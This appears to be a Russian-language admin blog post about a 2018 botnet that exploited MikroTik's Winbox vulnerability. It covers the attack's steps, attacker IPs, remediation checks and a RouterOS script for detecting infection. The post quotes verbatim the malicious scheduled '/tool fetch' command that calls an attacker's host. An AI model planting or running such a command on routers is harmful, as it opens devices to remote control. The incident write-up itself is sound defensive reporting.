Второго августа получил рассылку “MikroTik: URGENT security advisory” о том, что некий ботнет использует уязвимость Winbox Service для взлома и заражения устройств.
Из текста рассылки стало ясно, что уязвимость закрыта еще 23 апреля 2018 года в версии v6.42.1. Начал проверять подшефные устройства и нашел несколько роутеров с 6.40.1, один из которых был заражен.
Что делает атакующий скрипт?
- Получает список пользователей через уязвимость (т.е. смена admin на что-то другое не спасает).
- Пытается зайти под всеми полученными логинами и отсеивает заблокированные.
- Найдя активный логин, получает его пароль, заходит в систему.
Затем:
- Отключает все drop правила на файрволле.
- Включает socks (IP – Socks) на нестандартном порте, в моем случае 4145.
- Добавляет скрипт
/tool fetch address=95.154.216.166 port=2008 src-path=/mikrotik.php mode=http keep-result=no
в System – Scripts - Добавляет запуск скрипта в System – Scheduler.
- Удаляет существующие скрипты (по сообщениям на форуме Mikrotik).
Атака шла с адреса 95.154.216.151, который принадлежит iomart Hosting Limited, написал им сообщение через сайт, но никакой реакции пока нет, адрес активен.
Адрес 95.154.216.166 так же активен, но файла mikrotik.php на нем нет.
Вот тут можно увидеть сообщения от пострадавших:
www.abuseipdb.com/check/95.154.216.151
www.abuseipdb.com/check/95.154.216.166
Если ваш Mikrotik еще не обновлен и порт Winbox открыт для всех, обязательно проверьте устройство.
- Проверяем, что активны drop правила в IP – Firewall.
- Проверяем socks, должен быть отключен и порт должен быть по умолчанию – 1080.
- Проверяем наличие левых скриптов в System – Scripts и System – Scheduler.
- Проверяем наличие файла miktorik.php
- Делаем /export в терминале и проверяем конфигурацию глазами.
Пользователь gotsprings на форуме Mikrotik предложил такой вариант проверки:
:if ([/ip socks get port] = 1080) do={:log info "Socks port is still Default."} else={:log info "Socks Port changed Possible infection!"}
:if ([/ip socks get enabled] = false) do={:log info "Socks is not on."} else={:log info "Socks is enabled... that could be bad!"}
:if ([:len [/file find name="mikrotik.php"]] > 0) do={:log info "!!!mikrotik.php!!! File Detected!"} else={:log info "mikrotik.php not found."}
:if ([:len [/file find name="Mikrotik.php"]] > 0) do={:log info "!!!Mikrotik.php!!! File Detected!"} else={:log info "Mikrotik.php not found."}
:if ([:len [/user find name="service"]] > 0) do={:log info "!!!YOU WERE BREACHED!!!"} else={:log info "No sign of the service user."}
Open you log and look at the results. If you have a result with "!" you might have a problem.
Очевидно, что очень плохо держать открытый для всех Winbox Service, но в некоторых случаях это случается, не забывайте обновлять свои устройства!
Ссылки по теме:
forum.mikrotik.com/viewtopic.php?f=21&t=137572
thehackernews.com/2018/08/mikrotik-router-hacking.html